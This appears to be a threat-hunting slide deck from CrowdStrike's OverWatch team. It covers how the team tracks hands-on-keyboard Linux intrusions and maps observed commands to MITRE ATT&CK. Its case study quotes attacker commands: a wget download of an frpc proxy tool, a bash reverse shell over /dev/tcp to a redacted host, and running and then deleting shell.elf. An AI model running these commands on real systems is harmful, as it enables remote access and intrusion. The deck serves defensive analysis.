

ENHANCING OPERATIONS BY TRACKING INTERACTIVE LINUX-BASED INTRUSION CAMPAIGNS

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INTRUSION RESEARCH 101




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


- Review telemetry from hands-on-keyboard intrusions
 - Specific focus on intrusions where a HUMAN is involved
 - This is determined by pace of commands among other factors
- Data from Windows, Linux, and MacOS
- Custom Tooling + the usual suspects
 - Splunk, Excel, MISP
 - Google and MAN Pages



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WHY INTRUSION TRACKING?



TRACKING INTRUSIONS



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MEMORIALIZING INTRUSION TRADECRAFT

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- Storing this data is challenging
 - Specific intrusion details
 - Metadata
- Open Source Tools exist
 - CSVs and MITRE ATT&CK Navigator
 - MISP





MISP EXAMPLE

Test Event

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Event ID	7425
UUID	b440110d-bfa4-47c7-a8e9-d50e496c2d48 🗳 🗮
Creator org	Overwatch
Owner org	Overwatch
Creator user	justin.swisher@crowdstrike.com
Tags	Image: State of the state
Date	2021-04-27
Threat Level	? Undefined
Analysis	Completed
Distribution	This community only
Info	Test Event
Published	No
#Attributes	1 (0 Objects)
First recorded change	2022-03-21 16:34:05
Last change	2022-03-21 16:35:13
Modification map	
Sightings	0 (0) - restricted to own organisation only.
-Pivots -Galaxy +Eve	ent graph + Event timeline + Correlation graph + ATT&CK matrix + Event reports - Attributes - Discussion

Galaxies **Crowdstrike Region Q** 🚱 United States Q \Xi 🗃 Crowdstrike Malware and Tools Q 🚱 Cobalt Strike Q 🖃 🗃 😚 Mimikatz Q \Xi 📋 😚 Phobos Q 🖽 🗑 **Crowdstrike Adversary Q** S UNKNOWN SPIDER Q IE Attack Pattern Q Remote Services - T1021 Q IE S Remote Desktop Protocol - T1021.001 Q 등 🗃 🚱 Indicator Removal on Host - T1070 Q \Xi 🗃 S OS Credential Dumping - T1003 Q IE ■ S LSASS Memory - T1003.001 Q IE ■ S Command and Scripting Interpreter - T1059 Q 등 ■ S PowerShell - T1059.001 Q IE ■ S Windows Command Shell - T1059.003 Q 등 🗃 System Network Configuration Discovery - T1422 Q \Xi 🗑 S Data Encrypted for Impact - T1486 Q 등 ■ **⊗**+ **≜**+



ANALYZING LINUX INTRUSIONS

OverWatch SEARCH





What does this look like in practice?

- Having a source of telemetry
- Codifying the information consistently
- Asking What could we be missing? What else happened?
- As a managed service, alerting organizations of activity
- Closing the loop When we find something new, we built out new hunting patterns

ANALYZING LINUX INTRUSIONS

Map unique **observed** events to MITRE

Tactic	Technique	Command/Example
Execution	Container Administration Command	docker-runc init
Defense Evasion	Linux and Mac File and Directory Permissions Modification	/bin/sh -c chmod +x /home/daemon1
	Indicator Removal on Host	rm /home/daemon1
Discovery	Remote System Discovery	./daemon -h 10.170.0.0/24 -p 1-65535 -o /home/result.txt
	Container and Resource Discovery	/bin/sh -c docker images grep "1.124"

CHALLENGES AND SUCCESSES

<u>Challenges</u>

- Telemetry is very different to Windows
- Process lineage and tracing is often more challenging
- Can be a high noise-to-signal ratio
- *Higher levels of confusion thanks to different distros, programs and confusing admin activity
- *Linux Skills gap—high demand for experienced hunters

<u>Successes</u>


- Malicious activity typically originates from a few limited categories—SSH; Exploited Services (Web Shells); pre-existing backdoors
- Mostly command-line interaction—more comprehensive capture than GUI
- Hands-on-keyboard activity more likely to be novel or interesting
- *Adversaries also have to deal with all the variance and the skills gap

TRENDS WE SEE



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INTRUSION TRENDS



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ACTOR TRENDS

Initial Access	Credential Access
Exploit Public-Facing Application - T1190	/etc/passwd and /etc/shadow - T1003.008
Execution	Bash History - T1552.003
UNIX Shell - T1059.004	Credentials in Files - T1552.001
Persistence	Lateral Movement
Web Shell - T1505.003	SSH - T1021.004
Defense Evasion	Collection
Clear Command History - T1070.003	Data from Local System - T1005
File Deletion - T1070.004	Command and Control
	Ingress Tool Transfer - T1105

Character States

Q1 2021 VS. Q1 2022

Defense Evasion

Valid Accounts	Local Accounts
Indicator Removal on Host	File Deletion
	Timestomp
	Clear Linux or Mac System Logs
	Clear Command History
File and Directory Permissions	Linux and Mac File and Directory
Modification	Permissions Modification
Masquerading	Match Legitimate Name or Location
	Rename System Utilities
	Masquerade Task or Service
Abuse Elevation Control Mechanism	Setuid and Setgid
	Sudo and Sudo Caching
Hide Artifacts	Hidden Files and Directories
Deobfuscate/Decode Files or	
Information	
Impair Defenses	Disable or Modify System Firewall
	Disable or Modify Tools
Obfuscated Files or Information	Compile After Delivery
Exploitation for Defense Evasion	

Credential Access


Unsecured Credentials	Bash History
	Credentials In Files
	Private Keys
Credentials from Password Stores	
Input Capture	Keylogging
OS Credential Dumping	/etc/passwd and /etc/shadow
Steal or Forge Kerberos Tickets	

Discovery

Defense Evasion Indicator Removal on Host **File Deletion** Timestomp Clear Linux or Mac System Logs Clear Command History Valid Accounts Local Accounts Domain Accounts File and Directory Permissions Linux and Mac File and Directory Modification Permissions Modification **Obfuscated Files or Information** Compile After Delivery Sudo and Sudo Caching Abuse Elevation Control Mechanism Setuid and Setgid **Rename System Utilities** Masquerading Deobfuscate/Decode Files or Information **Disable or Modify Tools** Impair Defenses Disable or Modify System Firewall Impair Command History Logging Hijack Execution Flow Rootkit

Credential Access OS Credential Dumping /etc/passwd and /etc/shadow Unsecured Credentials Bash History Credentials In Files Private Keys Exploitation for Credential Access

Discovery







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UNKNOWN ACTOR LINUX INTRUSION

Actor attempts to acquire sensitive data

DISCOVERY, COLLECTION, COMMAND & CONTROL

- find / -name '*.properties'
 - File and Directory Discovery T1083
- cat /opt/tomcat/conf/logging.properties
 - Data from Local System T1005
- cd "/opt";wget https://[REDACTED]/wp-admin/images/frpc/2>&1
- cd "/opt";wget https://[REDACTED]/wp-admin/images/frpc --no-checkcertificate 2>&1
 - Ingress Tool Transfer T1105 (Take 2)



UNKNOWN ACTOR LINUX INTRUSION

Actor attempts to execute custom tooling

COMMAND & CONTROL, DEFENSE EVASION

- d "/opt";./frpc -c frpc.ini 2>&1
 - Proxy T1090
- d "/opt";chmod +x frpc 2>&1
 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification - T1222.002
- d "/opt";./frpc -c frpc.ini 2>&1
 - Proxy T1090



UNKNOWN ACTOR LINUX INTRUSION

Actor makes persistent attempts access the remote host

COMMAND & CONTROL, EXECUTION, DEFENSE EVASION

- d "/opt";bash -i >& /dev/tcp/[REDACTED] /9999 0>&1 2>&1
 - Non-Standard Port T1571
 - Command and Scripting Interpreter: Unix Shell T1059.004
- d "/opt";./shell.elf 2>&1
 - Command and Scripting Interpreter T1059
- cd "/opt";rm shell.elf 2>&1
 - Indicator Removal on Host: File Deletion T1070.004

HOW WE GROW



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INFORMING OPERATIONS MOVING FORWARD

By tracking techniques in a consistent manner, OverWatch is able to:

- Identify changes in adversarial behavior easily
 - Using a framework allows us to talk about each intrusion with the same terms
 - Heat maps can visually show something changing
- Hone our hunting patterns—allowing us to better prepare for future attacks
 - Identify and focus pattern development in tactics/techniques that are most frequently observed
- Communicate to customers consistently
 - Presentations and briefings
- Facilitate public reporting
 - 2021 Threat Hunting Report: Insights From the Falcon OverWatch Team

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QUESTIONS?



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